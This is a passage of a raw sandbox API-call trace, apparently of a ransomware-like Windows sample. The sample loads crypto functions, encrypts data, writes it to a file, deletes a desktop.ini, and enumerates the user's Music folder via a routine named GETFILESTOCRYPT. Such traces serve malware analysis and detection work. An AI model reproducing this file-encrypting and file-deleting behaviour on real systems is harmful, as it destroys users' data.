wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.144] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.144] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.144] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.144] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.144] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.144] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.144] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.144] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.144] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.145] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.145] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xbe, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xc0) returned 1 [0063.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.145] CharLowerBuffW (in: lpsz="byte[193]", cchLength=0x9 | out: lpsz="byte[193]") returned 0x9 [0063.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.145] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.145] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.145] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ab0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.146] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.146] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1650318*, pdwDataLen=0x130e618*=0xbe, dwBufLen=0xc0 | out: pbData=0x1650318*, pdwDataLen=0x130e618*=0xc0) returned 1 [0063.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.146] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.146] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.146] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.146] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.146] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.146] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.147] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.147] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.147] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.147] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.147] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.147] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.147] WriteFile (in: hFile=0x3bc, lpBuffer=0x17cb378*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17cb378*, lpNumberOfBytesWritten=0x130f01c*=0xc0, lpOverlapped=0x0) returned 1 [0063.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.148] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.148] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.148] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.148] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.148] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.149] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.149] CryptDestroyKey (hKey=0x164ca30) returned 1 [0063.149] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.149] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.149] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.149] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.149] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.149] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.149] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.149] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.149] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.149] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.151] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.151] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.151] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.151] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.151] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.151] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.151] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.151] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.151] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.151] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.151] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.151] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.152] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.152] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.152] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.152] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.152] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.152] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.152] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.152] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.152] CryptReleaseContext (hProv=0x17a9f88, dwFlags=0x0) returned 1 [0063.152] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.152] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.152] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.152] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.152] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.153] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.153] CloseHandle (hObject=0x2ac) returned 1 [0063.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.153] CloseHandle (hObject=0x3bc) returned 1 [0063.155] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.155] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.155] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", lpFilePart=0x0) returned 0x36 [0063.155] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\camera roll\\desktop.ini")) returned 0x6 [0063.155] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c930 [0063.155] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\camera roll\\desktop.ini")) returned 1 [0063.156] FindNextFileW (in: hFindFile=0x164c930, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.157] FindClose (in: hFindFile=0x164c930 | out: hFindFile=0x164c930) returned 1 [0063.157] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.157] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0063.157] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0063.157] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x130f280, nSize=0x104 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0063.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", cchCount1=27, lpString2="", cchCount2=0) returned 3 [0063.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.157] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0063.157] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.158] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, 